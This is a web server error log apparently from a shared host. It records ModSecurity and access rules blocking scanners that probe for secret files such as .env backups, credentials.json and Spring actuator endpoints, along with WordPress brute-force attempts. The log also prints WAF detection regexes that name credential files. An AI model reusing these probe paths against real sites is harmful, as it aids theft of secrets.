57.141.14.95:32753] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:06.190538 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.95:32753] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:06.285925 2026] [security2:error] [pid 531797:tid 532095] [client 23.161.169.62:45066] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "forum.codeproblem.com"] [uri "/credentials.json"] [unique_id "ai3x1sTA7b1mZrmcA-8yTwAAAnQ"] [Sat Jun 13 18:12:06.285987 2026] [security2:error] [pid 531797:tid 532095] [client 23.161.169.62:45066] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "forum.codeproblem.com"] [uri "/credentials.json"] [unique_id "ai3x1sTA7b1mZrmcA-8yTwAAAnQ"] [Sat Jun 13 18:12:06.286292 2026] [security2:error] [pid 531797:tid 532000] [client 23.161.169.62:45016] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "forum.codeproblem.com"] [uri "/actuator/env"] [unique_id "ai3x1sTA7b1mZrmcA-8yUwAAAhg"] [Sat Jun 13 18:12:06.286361 2026] [security2:error] [pid 531797:tid 532000] [client 23.161.169.62:45016] ModSecurity: Warning. Matched phrase "CCBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "forum.codeproblem.com"] [uri "/actuator/env"] [unique_id "ai3x1sTA7b1mZrmcA-8yUwAAAhg"] [Sat Jun 13 18:12:06.287430 2026] [security2:error] [pid 531797:tid 532112] [client 23.161.169.62:44960] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "forum.codeproblem.com"] [uri "/.env.bak"] [unique_id "ai3x1sTA7b1mZrmcA-8yVwAAAoU"] [Sat Jun 13 18:12:06.290875 2026] [core:error] [pid 531797:tid 532001] [client 23.161.169.62:45020] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:06.290912 2026] [core:error] [pid 531797:tid 532001] [client 23.161.169.62:45020] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:06.292858 2026] [security2:error] [pid 531797:tid 532069] [client 23.161.169.62:44970] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "forum.codeproblem.com"] [uri "/.env.backup"] [unique_id "ai3x1sTA7b1mZrmcA-8yWQAAAls"] [Sat Jun 13 18:12:06.324761 2026] [core:error] [pid 531797:tid 532042] [client 23.161.169.62:45018] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:06.324777 2026] [core:error] [pid 531797:tid 532042] [client 23.161.169.62:45018] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:06.436447 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:12:06.436747 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:12:06.498127 2026] [security2:error] [pid 531797:tid 532115] [client 172.56.168.133:14849] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x1sTA7b1mZrmcA-8yYQAAAog"] [Sat Jun 13 18:12:06.502283 2026] [security2:error] [pid 531797:tid 532115] [client 172.56.168.133:14849] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3x1sTA7b1mZrmcA-8yYQAAAog"] [Sat Jun 13 18:12:06.928300 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:06.928602 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:07.070124 2026] [access_compat:error] [pid 531797:tid 531864] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:07.070573 2026] [access_compat:error] [pid 531797:tid 531864] [remote 216.73.216.182:32721] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:07.083147 2026] [security2:error] [pid 531797:tid 531944] [remote 20.153.140.50:47790] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.140.153.20.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "piox.cl"] [uri "/wp-login.php"] [unique_id "ai3x18TA7b1mZrmcA-8ycwACQlA"] [Sat Jun 13 18:12:07.120699 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.111:23998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:07.120966 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.111:23998] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:07.134332 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.99:29234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:07.134630 2026] [access_compat:error] [pid 531797:tid 531992] [remote 57.141.14.99:29234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:07.162631 2026] [security2:error] [pid 531797:tid 531943] [remote 17.246.19.51:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x18TA7b1mZrmcA-8yfAAChE8"] [Sat Jun 13 18:12:07.176088 2026] [security2:error] [pid 531155:tid 531302] [client 143.244.57.86:58212] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1ymiP80klyS0NnoCCQAAARs"] [Sat Jun 13 18:12:07.213442 2026] [security2:error] [pid 531797:tid 532039] [client 158.173.79.67:37895] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.79.173.158.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3x18TA7b1mZrmcA-8ygQAAAj4"], referer: https://gycblinds.com/ [Sat Jun 13 18:12:07.370361 2026] [security2:error] [pid 531155:tid 531174] [remote 50.87.144.169:44926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.144.87.50.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "ladyrapunzel.habeshacontacts.com"] [uri "/wp-login.php"] [unique_id "ai3x1ymiP80klyS0NnoCDgABDRI"] [Sat Jun 13 18:12:07.507451 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.72:47105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:07.507906 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.72:47105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:07.509373 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:07.509634 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZS9wb3dlcg== [Sat Jun 13 18:12:07.513992 2026] [security2:error] [pid 531797:tid 531891] [remote 17.22.237.118:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 118.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x18TA7b1mZrmcA-8yjQACcRs"] [Sat Jun 13 18:12:07.557173 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.101:27496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:07.557454 2026] [access_compat:error] [pid 531155:tid 531265] [remote 57.141.14.101:27496] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:07.566934 2026] [security2:error] [pid 531797:tid 532126] [client 143.244.57.86:58222] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "ai3x18TA7b1mZrmcA-8ykQAAApE"] [Sat Jun 13 18:12:07.682391 2026] [security2:error] [pid 531155:tid 531156] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/stripe/.env"] [unique_id "ai3x1ymiP80klyS0NnoCFgABOwA"] [Sat Jun 13 18:12:07.960020 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2U= [Sat Jun 13 18:12:07.960465 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2U= [Sat Jun 13 18:12:08.043642 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.99:29242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:08.043946 2026] [access_compat:error] [pid 531797:tid 531985] [remote 57.141.14.99:29242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:08.354074 2026] [security2:error] [pid 531155:tid 531345] [client 143.244.57.86:58226] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3x2CmiP80klyS0NnoCIQAAAUY"] [Sat Jun 13 18:12:08.461780 2026] [security2:error] [pid 531155:tid 531203] [remote 17.22.253.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2CmiP80klyS0NnoCJAABeC8"] [Sat Jun 13 18:12:08.556229 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.55:41083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:08.556665 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.55:41083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:08.560170 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:12:08.560486 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDE= [Sat Jun 13 18:12:08.607448 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.56:46568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:08.607928 2026] [access_compat:error] [pid 531797:tid 531893] [remote 57.141.14.56:46568] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:08.655719 2026] [security2:error] [pid 531797:tid 531871] [remote 17.22.245.152:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 152.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x2MTA7b1mZrmcA-8yvgACTQc"] [Sat Jun 13 18:12:08.778928 2026] [security2:error] [pid 531797:tid 532047] [client 143.244.57.86:58238] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3x2MTA7b1mZrmcA-8yxAAAAkU"] [Sat Jun 13 18:12:09.029303 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.105:24274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:09.029670 2026] [access_compat:error] [pid 531797:tid 531957] [remote 57.141.14.105:24274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:09.036327 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0MC9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:12:09.036796 2026] 